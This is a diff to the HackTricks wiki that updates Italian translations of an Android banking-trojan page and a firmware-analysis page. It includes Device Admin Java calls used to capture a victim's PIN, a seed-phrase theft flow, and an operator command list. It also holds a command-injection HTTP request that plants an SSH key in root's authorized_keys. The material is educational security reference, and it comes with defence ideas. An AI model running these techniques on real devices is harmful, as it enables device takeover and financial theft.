-### Estrazione della seed phrase dei wallet crypto
-Target come MetaMask, Trust Wallet, Blockchain.com, Phantom. Flusso: sbloccare (PIN rubato o password fornita), navigare in Security/Recovery, rivelare/mostrare la seed phrase, keylog/exfiltrate it. Implementare selettori sensibili alla locale (EN/RU/CZ/SK) per stabilizzare la navigazione tra le lingue.
+### Crypto wallet seed extraction
+Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Sicurezza/Recupero, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
 
-### Coercizione Device Admin
-Le Device Admin APIs vengono usate per aumentare le opportunità di cattura del PIN e ostacolare la vittima:
+### Device Admin coercion
+Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
 
-- Blocco immediato:
+- Immediate lock:
 ```java
 dpm.lockNow();
 ```
-- Far scadere la credenziale corrente per forzare il cambio (Accessibility cattura il nuovo PIN/password):
+- Far scadere la credenziale corrente per forzare la modifica (Accessibilità cattura il nuovo PIN/password):
 ```java
 dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
 ```
@@ -327,32 +368,32 @@ dpm.setKeyguardDisabledFeatures(admin,
 DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
 DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
 ```
-Nota: Molti controlli di DevicePolicyManager richiedono Device Owner/Profile Owner su versioni recenti di Android; alcune build OEM possono essere più permissive. Validare sempre sul target OS/OEM.
+Nota: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
 
 ### NFC relay orchestration (NFSkate)
-Stage-3 può installare e lanciare un modulo NFC-relay esterno (es., NFSkate) e perfino passargli un template HTML per guidare la vittima durante il relay. Questo abilita operazioni di cash-out contactless con carta presente insieme a ATS online.
+Stage-3 can install and launch an external NFC-relay module (e.g., NFSkate) and even hand it an HTML template to guide the victim during the relay. This enables contactless card-present cash-out alongside online ATS.
 
 Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
 
-### Set di comandi operatore (esempio)
-- UI/stato: `txt_screen`, `screen_live`, `display`, `record`
+### Operator command set (sample)
+- UI/state: `txt_screen`, `screen_live`, `display`, `record`
 - Social: `send_push`, `Facebook`, `WhatsApp`
-- Sovrapposizioni: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
 - Wallets: `metamask`, `trust`, `blockchain`, `phantom`
 - ATS: `transfer`, `check_limit`, `limit`
-- Dispositivo: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
 - Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
 - NFC: `nfs`, `nfs_inject`
 
-### Idee per rilevamento e difesa (stile RatOn)
-- Cercare WebViews con `addJavascriptInterface()` che espongono metodi installer/permission; pagine che terminano in “/access” che attivano prompt di Accessibility.
-- Segnalare app che generano gesti/click di Accessibility ad alta frequenza poco dopo che è stato concesso l'accesso al servizio; telemetria che somiglia a Accessibility node dumps inviati al C2.
-- Monitorare modifiche alle policy di Device Admin in app non attendibili: `lockNow`, scadenza password, toggle di feature keyguard.
-- Allertare su prompt di MediaProjection da app non aziendali seguiti da upload periodici di frame.
-- Rilevare l'installazione/avvio di un'app NFC-relay esterna attivata da un'altra app.
-- Per il banking: imporre conferme out-of-band, binding biometrici e limiti di transazione resistenti all'automazione on-device.
+### Detection & defence ideas (RatOn-style)
+- Hunt for WebViews with `addJavascriptInterface()` exposing installer/permission methods; pages ending in “/access” that trigger Accessibility prompts.
+- Alert on apps that generate high-rate Accessibility gestures/clicks shortly after being granted service access; telemetry that resembles Accessibility node dumps sent to C2.
+- Monitor Device Admin policy changes in untrusted apps: `lockNow`, password expiration, keyguard feature toggles.
+- Alert on MediaProjection prompts from non-corporate apps followed by periodic frame uploads.
+- Detect installation/launch of an external NFC-relay app triggered by another app.
+- For banking: enforce out-of-band confirmations, biometrics-binding, and transaction-limits resistant to on-device automation.
 
-## Riferimenti
+## References
 
 - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 - [Luban – Android image compression library](https://github.com/Curzibn/Luban)
@@ -360,5 +401,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
 - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
 - [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
 - [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
+- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
+- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
+- [Socket.IO](https://socket.io)
 
 {{#include ../../banners/hacktricks-training.md}}

src/hardware-physical-access/firmware-analysis/README.md

@@ -1,4 +1,4 @@
-# Analisi del Firmware
+# Analisi del firmware
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,46 +6,52 @@
 
 ### Risorse correlate
 
+
 {{#ref}}
 synology-encrypted-archive-decryption.md
 {{#endref}}
 
-Il firmware è un software essenziale che consente ai dispositivi di funzionare correttamente gestendo e facilitando la comunicazione tra i componenti hardware e il software con cui gli utenti interagiscono. È memorizzato in memoria permanente, garantendo che il dispositivo possa accedere a istruzioni vitali dal momento in cui viene acceso, portando al lancio del sistema operativo. Esaminare e potenzialmente modificare il firmware è un passo critico per identificare vulnerabilità di sicurezza.
+{{#ref}}
+../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
+{{#endref}}
 
-## **Raccolta di Informazioni**
 
-**Raccogliere informazioni** è un passo iniziale critico per comprendere la composizione di un dispositivo e le tecnologie che utilizza. Questo processo implica la raccolta di dati su:
+Il firmware è un software essenziale che permette ai dispositivi di funzionare correttamente gestendo e facilitando la comunicazione tra i componenti hardware e il software con cui gli utenti interagiscono. Viene memorizzato in memoria permanente, garantendo che il dispositivo possa accedere a istruzioni vitali dal momento dell'accensione, portando all'avvio del sistema operativo. Esaminare e potenzialmente modificare il firmware è un passaggio critico per identificare vulnerabilità di sicurezza.
 
-- L'architettura della CPU e il sistema operativo in esecuzione
-- Specifiche del bootloader
-- Layout hardware e schede tecniche
-- Metriche del codice sorgente e posizioni
+## **Raccolta informazioni**
+
+**La raccolta informazioni** è un passaggio iniziale cruciale per comprendere la composizione di un dispositivo e le tecnologie che utilizza. Questo processo comporta la raccolta di dati su:
+
+- L'architettura della CPU e il sistema operativo su cui gira
+- Dettagli del bootloader
+- Layout hardware e datasheet
+- Metriche del codebase e posizioni del codice sorgente
 - Librerie esterne e tipi di licenza
-- Storico degli aggiornamenti e certificazioni normative
-- Diagrammi architettonici e di flusso
+- Storico degli update e certificazioni regolatorie
+- Diagrammi architetturali e di flusso
 - Valutazioni di sicurezza e vulnerabilità identificate
 
-A questo scopo, gli strumenti di **intelligence open-source (OSINT)** sono inestimabili, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuale e automatizzati. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che possono essere sfruttate per trovare potenziali problemi.
+A tal fine, gli strumenti di open-source intelligence (OSINT) sono preziosi, così come l'analisi di qualsiasi componente software open-source disponibile tramite processi di revisione manuale e automatizzata. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statiche gratuite che possono essere sfruttate per trovare potenziali problemi.
 
-## **Acquisizione del Firmware**
+## **Acquisizione del firmware**
 
-Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il proprio livello di complessità:
+L'ottenimento del firmware può avvenire in vari modi, ognuno con il proprio livello di complessità:
 
 - **Direttamente** dalla fonte (sviluppatori, produttori)
 - **Costruendolo** dalle istruzioni fornite
 - **Scaricandolo** dai siti di supporto ufficiali
-- Utilizzando query di **Google dork** per trovare file firmware ospitati
-- Accedendo direttamente allo **storage cloud**, con strumenti come [S3Scanner](https://github.com/sa7mon/S3Scanner)
-- Intercettando **aggiornamenti** tramite tecniche man-in-the-middle
-- **Estraendo** dal dispositivo attraverso connessioni come **UART**, **JTAG** o **PICit**
-- **Sniffando** le richieste di aggiornamento all'interno della comunicazione del dispositivo
-- Identificando e utilizzando **endpoint di aggiornamento hardcoded**
+- **Utilizzando** query Google dork per trovare file firmware ospitati
+- **Accedendo** direttamente a cloud storage, con strumenti come [S3Scanner](https://github.com/sa7mon/S3Scanner)
+- **Intercettando** aggiornamenti tramite tecniche man-in-the-middle
+- **Estraendo** dal dispositivo tramite connessioni come UART, JTAG, o PICit
+- **Sniffing** per le richieste di update nelle comunicazioni del dispositivo
+- **Identificando e usando** endpoint di update hardcoded
 - **Dumping** dal bootloader o dalla rete
-- **Rimuovendo e leggendo** il chip di memoria, quando tutto il resto fallisce, utilizzando strumenti hardware appropriati
+- **Rimuovendo e leggendo** il chip di storage, quando tutto il resto fallisce, usando gli strumenti hardware adeguati
 
-## Analizzando il firmware
+## Analisi del firmware
 
-Ora che **hai il firmware**, devi estrarre informazioni su di esso per sapere come trattarlo. Diversi strumenti che puoi utilizzare per questo:
+Ora che hai il firmware, devi estrarne informazioni per capire come trattarlo. Diversi strumenti che puoi utilizzare per questo:
 ```bash
 file <bin>
 strings -n8 <bin>
@@ -54,9 +60,10 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head # might find signatures in header
 fdisk -lu <bin> #lists a drives partition and filesystems if multiple
 ```
-Se non trovi molto con quegli strumenti, controlla l'**entropia** dell'immagine con `binwalk -E <bin>`, se l'entropia è bassa, allora è improbabile che sia crittografata. Se l'entropia è alta, è probabile che sia crittografata (o compressa in qualche modo).
+Se non trovi molto con quegli strumenti, controlla l'**entropy** dell'immagine con `binwalk -E <bin>`; se l'entropy è bassa, allora probabilmente non è cifrata. Se è alta, è probabile che sia cifrata (o compressa in qualche modo).
+
+Inoltre, puoi usare questi strumenti per estrarre **file embedded inside the firmware**:
 
-Inoltre, puoi utilizzare questi strumenti per estrarre **file incorporati nel firmware**:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
@@ -66,12 +73,12 @@ Oppure [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/arc
 
 ### Ottenere il Filesystem
 
-Con gli strumenti precedentemente commentati come `binwalk -ev <bin>` dovresti essere stato in grado di **estrarre il filesystem**.\
-Binwalk di solito lo estrae all'interno di una **cartella chiamata come il tipo di filesystem**, che di solito è uno dei seguenti: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
+Con gli strumenti menzionati sopra, come `binwalk -ev <bin>`, dovresti essere riuscito a **estrarre il filesystem**.\
+Binwalk di solito lo estrae all'interno di una **cartella nominata come il filesystem type**, che di solito è uno dei seguenti: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
 
-#### Estrazione Manuale del Filesystem
+#### Estrazione manuale del filesystem
 
-A volte, binwalk **non avrà il byte magico del filesystem nelle sue firme**. In questi casi, usa binwalk per **trovare l'offset del filesystem e ricavare il filesystem compresso** dal binario e **estrarre manualmente** il filesystem secondo il suo tipo utilizzando i passaggi seguenti.
+A volte binwalk **non ha il magic byte del filesystem nelle sue signatures**. In questi casi, usa binwalk per **trovare l'offset del filesystem e carve il compressed filesystem** dal binario e **estrarre manualmente** il filesystem in base al suo tipo usando i passaggi sotto.
 ```
 $ binwalk DIR850L_REVB.bin
 
@@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
 ```
-Esegui il seguente **dd command** per estrarre il filesystem Squashfs.
+Esegui il seguente **dd command** per il carving del Squashfs filesystem.
 ```
 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 
@@ -93,17 +100,17 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 
 8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
 ```
-Alternativamente, il seguente comando potrebbe essere eseguito.
+In alternativa, è possibile eseguire anche il seguente comando.
 
 `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
 
-- Per squashfs (utilizzato nell'esempio sopra)
+- Per squashfs (usato nell'esempio sopra)
 
 `$ unsquashfs dir.squashfs`
 
-I file saranno nella directory "`squashfs-root`" successivamente.
+I file si troveranno poi nella directory "`squashfs-root`".
 
-- File di archivio CPIO
+- File archivio CPIO
 
 `$ cpio -ivd --no-absolute-filenames -F <bin>`
 
@@ -117,13 +124,13 @@ I file saranno nella directory "`squashfs-root`" successivamente.
 
 `$ ubidump.py <bin>`
 
-## Analisi del Firmware
+## Analisi del firmware
 
-Una volta ottenuto il firmware, è essenziale disegnarlo per comprendere la sua struttura e le potenziali vulnerabilità. Questo processo implica l'utilizzo di vari strumenti per analizzare ed estrarre dati preziosi dall'immagine del firmware.
+Una volta ottenuto il firmware, è essenziale analizzarlo per comprenderne la struttura e le potenziali vulnerabilità. Questo processo comporta l'utilizzo di vari strumenti per analizzare ed estrarre dati utili dall'immagine del firmware.
 
-### Strumenti di Analisi Iniziale
+### Strumenti per l'analisi iniziale
 
-Un insieme di comandi è fornito per l'ispezione iniziale del file binario (denominato `<bin>`). Questi comandi aiutano a identificare i tipi di file, estrarre stringhe, analizzare dati binari e comprendere i dettagli delle partizioni e del filesystem:
+Di seguito sono forniti alcuni comandi per l'ispezione iniziale del file binario (indicato come `<bin>`). Questi comandi aiutano a identificare i tipi di file, estrarre stringhe, analizzare dati binari e comprendere i dettagli di partizioni e filesystem:
 ```bash
 file <bin>
 strings -n8 <bin>
@@ -132,53 +139,53 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head #useful for finding signatures in the header
 fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
 ```
-Per valutare lo stato della crittografia dell'immagine, si controlla l'**entropia** con `binwalk -E <bin>`. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione.
+Per valutare lo stato di cifratura dell'immagine, si controlla l'**entropia** con `binwalk -E <bin>`. Un'entropia bassa suggerisce assenza di cifratura, mentre un'entropia alta indica possibile cifratura o compressione.
 
-Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.
+Per l'estrazione dei **file embedded**, si raccomandano strumenti e risorse come la documentazione **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.
 
-### Estrazione del Filesystem
+### Estrazione del filesystem
 
-Utilizzando `binwalk -ev <bin>`, è possibile solitamente estrarre il filesystem, spesso in una directory chiamata con il tipo di filesystem (ad esempio, squashfs, ubifs). Tuttavia, quando **binwalk** non riesce a riconoscere il tipo di filesystem a causa di byte magici mancanti, è necessaria un'estrazione manuale. Questo comporta l'uso di `binwalk` per localizzare l'offset del filesystem, seguito dal comando `dd` per estrarre il filesystem:
+Usando `binwalk -ev <bin>`, è possibile solitamente estrarre il filesystem, spesso in una directory chiamata come il tipo di filesystem (es., squashfs, ubifs). Tuttavia, quando **binwalk** non riesce a riconoscere il tipo di filesystem a causa di magic bytes mancanti, è necessario l'estrazione manuale. Questo comporta l'uso di `binwalk` per localizzare l'offset del filesystem, seguito dal comando `dd` per ritagliare il filesystem:
 ```bash
 $ binwalk DIR850L_REVB.bin
 
 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 ```
-Dopo, a seconda del tipo di filesystem (ad es., squashfs, cpio, jffs2, ubifs), vengono utilizzati comandi diversi per estrarre manualmente i contenuti.
+Successivamente, a seconda del tipo di filesystem (e.g., squashfs, cpio, jffs2, ubifs), vengono usati comandi diversi per estrarre manualmente il contenuto.
 
-### Analisi del Filesystem
+### Analisi del filesystem
 
-Con il filesystem estratto, inizia la ricerca di vulnerabilità di sicurezza. Si presta attenzione a demoni di rete insicuri, credenziali hardcoded, endpoint API, funzionalità del server di aggiornamento, codice non compilato, script di avvio e binari compilati per analisi offline.
+Con il filesystem estratto, inizia la ricerca di vulnerabilità di sicurezza. Si presta attenzione a network daemons insicuri, hardcoded credentials, API endpoints, funzionalità dell'update server, codice non compilato, startup scripts e compiled binaries per analisi offline.
 
 **Posizioni chiave** e **elementi** da ispezionare includono:
 
-- **etc/shadow** e **etc/passwd** per le credenziali degli utenti
-- Certificati SSL e chiavi in **etc/ssl**
+- **etc/shadow** e **etc/passwd** per le credenziali utente
+- Certificati e chiavi SSL in **etc/ssl**
 - File di configurazione e script per potenziali vulnerabilità
-- Binari incorporati per ulteriori analisi
-- Server web e binari comuni dei dispositivi IoT
+- Embedded binaries per ulteriori analisi
+- Web server e binaries comuni dei device IoT
 
-Diverse strumenti assistono nel rivelare informazioni sensibili e vulnerabilità all'interno del filesystem:
+Diversi tool aiutano a scovare informazioni sensibili e vulnerabilità all'interno del filesystem:
 
 - [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) per la ricerca di informazioni sensibili
-- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) per un'analisi completa del firmware
-- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statica e dinamica
+- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) per analisi firmware completa
+- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statiche e dinamiche
 
-### Controlli di Sicurezza sui Binari Compilati
+### Controlli di sicurezza sui binari compilati
 
-Sia il codice sorgente che i binari compilati trovati nel filesystem devono essere scrutinati per vulnerabilità. Strumenti come **checksec.sh** per binari Unix e **PESecurity** per binari Windows aiutano a identificare binari non protetti che potrebbero essere sfruttati.
+Sia il source code che i binari compilati trovati nel filesystem devono essere esaminati per vulnerabilità. Tool come **checksec.sh** per binari Unix e **PESecurity** per binari Windows aiutano a identificare binari non protetti che potrebbero essere sfruttati.
 
-## Emulazione del Firmware per Analisi Dinamica
+## Emulare firmware per l'analisi dinamica
 
-Il processo di emulazione del firmware consente un'**analisi dinamica** sia del funzionamento di un dispositivo che di un programma individuale. Questo approccio può incontrare sfide con dipendenze hardware o architetturali, ma trasferire il filesystem root o binari specifici su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una macchina virtuale pre-costruita, può facilitare ulteriori test.
+Il processo di emulazione del firmware consente l'**analisi dinamica** sia del funzionamento di un device sia di singoli programmi. Questo approccio può incontrare ostacoli legati a dipendenze hardware o di architettura, ma trasferire il root filesystem o specifici binari su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una virtual machine già pronta, può facilitare ulteriori test.
 
-### Emulazione di Binari Individuali
+### Emulare singoli binari
 
-Per esaminare singoli programmi, è cruciale identificare l'endianness e l'architettura CPU del programma.
+Per analizzare singoli programmi, è cruciale identificare l'endianness e l'architettura CPU del programma.
 
-#### Esempio con Architettura MIPS
+#### Esempio con architettura MIPS
 
-Per emulare un binario con architettura MIPS, si può utilizzare il comando:
+Per emulare un binario per architettura MIPS, si può usare il comando:
 ```bash
 file ./squashfs-root/bin/busybox
 ```
@@ -186,83 +193,83 @@ E per installare gli strumenti di emulazione necessari:
 ```bash
 sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
 ```
-Per MIPS (big-endian), si utilizza `qemu-mips`, e per i binari little-endian, la scelta sarebbe `qemu-mipsel`.
+Per MIPS (big-endian), `qemu-mips` è utilizzato, e per i binari little-endian la scelta sarebbe `qemu-mipsel`.
 
-#### Emulazione dell'Architettura ARM
+#### Emulazione dell'architettura ARM
 
 Per i binari ARM, il processo è simile, con l'emulatore `qemu-arm` utilizzato per l'emulazione.
 
-### Emulazione Completa del Sistema
+### Emulazione completa del sistema
 
-Strumenti come [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e altri, facilitano l'emulazione completa del firmware, automatizzando il processo e aiutando nell'analisi dinamica.
+Strumenti come [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e altri facilitano l'emulazione completa del firmware, automatizzando il processo e aiutando nell'analisi dinamica.
 
-## Analisi Dinamica in Pratica
+## Analisi dinamica nella pratica
 
-A questo stadio, viene utilizzato un ambiente di dispositivo reale o emulato per l'analisi. È essenziale mantenere l'accesso shell al sistema operativo e al filesystem. L'emulazione potrebbe non imitare perfettamente le interazioni hardware, rendendo necessari occasionali riavvii dell'emulazione. L'analisi dovrebbe riesaminare il filesystem, sfruttare le pagine web e i servizi di rete esposti, ed esplorare le vulnerabilità del bootloader. I test di integrità del firmware sono critici per identificare potenziali vulnerabilità di backdoor.
+A questo stadio si utilizza un ambiente dispositivo reale o emulato per l'analisi. È essenziale mantenere accesso alla shell dell'OS e al filesystem. L'emulazione potrebbe non riprodurre perfettamente le interazioni hardware, rendendo necessari riavvii occasionali dell'emulazione. L'analisi dovrebbe riesaminare il filesystem, sfruttare pagine web esposte e servizi di rete, ed esplorare vulnerabilità del bootloader. I test di integrità del firmware sono critici per identificare possibili backdoor.
 
-## Tecniche di Analisi Runtime
+## Tecniche di analisi a runtime
 
-L'analisi runtime implica l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare breakpoint e identificare vulnerabilità attraverso fuzzing e altre tecniche.
+L'analisi a runtime implica l'interazione con un processo o un binario nel suo ambiente operativo, usando strumenti come gdb-multiarch, Frida e Ghidra per impostare breakpoint e identificare vulnerabilità tramite fuzzing e altre tecniche.
 
-## Sfruttamento Binario e Proof-of-Concept
+## Sfruttamento binario e Proof-of-Concept
 
-Sviluppare un PoC per vulnerabilità identificate richiede una profonda comprensione dell'architettura target e programmazione in linguaggi di basso livello. Le protezioni runtime binarie nei sistemi embedded sono rare, ma quando presenti, tecniche come il Return Oriented Programming (ROP) possono essere necessarie.
+Sviluppare un PoC per vulnerabilità identificate richiede una profonda comprensione dell'architettura target e della programmazione in linguaggi a basso livello. Le protezioni runtime sui binari nei sistemi embedded sono rare, ma quando presenti tecniche come Return Oriented Programming (ROP) possono essere necessarie.
 
-## Sistemi Operativi Preparati per l'Analisi del Firmware
+## Sistemi operativi pronti per l'analisi del firmware
 
-Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti preconfigurati per il testing della sicurezza del firmware, dotati degli strumenti necessari.
+Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti pre-configurati per il testing di sicurezza del firmware, dotati degli strumenti necessari.
 
-## OS Preparati per Analizzare il Firmware
+## OS preconfigurati per analizzare il firmware
 
-- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione destinata ad aiutarti a eseguire valutazioni di sicurezza e penetration testing di dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente preconfigurato con tutti gli strumenti necessari caricati.
-- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per il testing della sicurezza embedded basato su Ubuntu 18.04 pre-caricato con strumenti per il testing della sicurezza del firmware.
+- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distro pensata per aiutarti a eseguire security assessment e penetration testing dei dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente pre-configurato con tutti gli strumenti necessari caricati.
+- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per embedded security testing basato su Ubuntu 18.04, pre-caricato con strumenti per firmware security testing.
 
-## Attacchi di Downgrade del Firmware e Meccanismi di Aggiornamento Insicuri
+## Attacchi di downgrade del firmware e meccanismi di aggiornamento insicuri
 
-Anche quando un fornitore implementa controlli di firma crittografica per le immagini del firmware, **la protezione contro il rollback della versione (downgrade) è frequentemente omessa**. Quando il boot- o recovery-loader verifica solo la firma con una chiave pubblica incorporata ma non confronta la *versione* (o un contatore monotono) dell'immagine che viene flashata, un attaccante può legittimamente installare un **firmware più vecchio e vulnerabile che ha ancora una firma valida** e quindi reintrodurre vulnerabilità corrette.
+Anche quando un vendor implementa controlli di firma crittografica per le immagini firmware, **la protezione contro il version rollback (downgrade) è frequentemente omessa**. Se il boot- o recovery-loader verifica solo la firma con una chiave pubblica embedded ma non confronta la *versione* (o un contatore monotono) dell'immagine da flashare, un attaccante può installare legittimamente un **firmware più vecchio e vulnerabile che porta ancora una firma valida** e così reintrodurre vulnerabilità già patchate.
 
-Flusso di attacco tipico:
+Flusso tipico dell'attacco:
 
 1. **Ottenere un'immagine firmata più vecchia**
-* Ottenerla dal portale di download pubblico del fornitore, CDN o sito di supporto.
-* Estrarla da applicazioni mobili/desktop companion (ad esempio, all'interno di un APK Android sotto `assets/firmware/`).
-* Recuperarla da repository di terze parti come VirusTotal, archivi di Internet, forum, ecc.
-2. **Caricare o servire l'immagine al dispositivo** tramite qualsiasi canale di aggiornamento esposto:
-* Interfaccia Web, API dell'app mobile, USB, TFTP, MQTT, ecc.
-* Molti dispositivi IoT consumer espongono endpoint HTTP(S) *non autenticati* che accettano blob di firmware codificati in Base64, li decodificano lato server e attivano il ripristino/aggiornamento.
-3. Dopo il downgrade, sfruttare una vulnerabilità che è stata corretta nella versione più recente (ad esempio, un filtro di injection di comandi che è stato aggiunto successivamente).
-4. Facoltativamente, flashare l'immagine più recente o disabilitare gli aggiornamenti per evitare il rilevamento una volta ottenuta la persistenza.
+* Recuperarla dal portale di download pubblico del vendor, CDN o sito di supporto.
+* Estrarla dalle applicazioni companion mobile/desktop (es. all'interno di un Android APK sotto `assets/firmware/`).
+* Recuperarla da repository di terze parti come VirusTotal, archivi Internet, forum, ecc.
+2. **Caricare o servire l'immagine al dispositivo** via qualsiasi canale di aggiornamento esposto:
+* Web UI, mobile-app API, USB, TFTP, MQTT, ecc.
+* Molti dispositivi IoT consumer espongono endpoint HTTP(S) *non autenticati* che accettano blob firmware codificati in Base64, li decodificano server-side e innescano recovery/upgrade.
+3. Dopo il downgrade, sfruttare una vulnerabilità che è stata patchata nella release più recente (per esempio un filtro di command-injection aggiunto successivamente).
+4. Facoltativamente flashare di nuovo l'immagine più recente o disabilitare gli aggiornamenti per evitare il rilevamento una volta ottenuta la persistenza.
 
-### Esempio: Iniezione di Comandi Dopo il Downgrade
+### Esempio: Command Injection dopo il downgrade
 ```http
 POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
 Host: 192.168.0.1
 Content-Type: application/octet-stream
 Content-Length: 0
 ```
-Nel firmware vulnerabile (downgradato), il parametro `md5` è concatenato direttamente in un comando shell senza sanificazione, consentendo l'iniezione di comandi arbitrari (qui – abilitando l'accesso root basato su chiave SSH). Le versioni firmware successive hanno introdotto un filtro di caratteri di base, ma l'assenza di protezione contro il downgrade rende la correzione inutile.
+Nel firmware vulnerabile (downgradato), il parametro `md5` viene concatenato direttamente in un comando shell senza alcuna sanitizzazione, permettendo l'iniezione di comandi arbitrari (qui — abilitando l'accesso root tramite chiave SSH). Versioni successive del firmware hanno introdotto un filtro di caratteri di base, ma l'assenza di protezione contro il downgrade rende la correzione inutile.
 
-### Estrazione del Firmware da App Mobili
+### Estrazione del firmware dalle app mobili
 
-Molti fornitori includono immagini firmware complete all'interno delle loro applicazioni mobili companion in modo che l'app possa aggiornare il dispositivo tramite Bluetooth/Wi-Fi. Questi pacchetti sono comunemente memorizzati non crittografati nell'APK/APEX sotto percorsi come `assets/fw/` o `res/raw/`. Strumenti come `apktool`, `ghidra`, o anche il semplice `unzip` ti consentono di estrarre immagini firmate senza toccare l'hardware fisico.
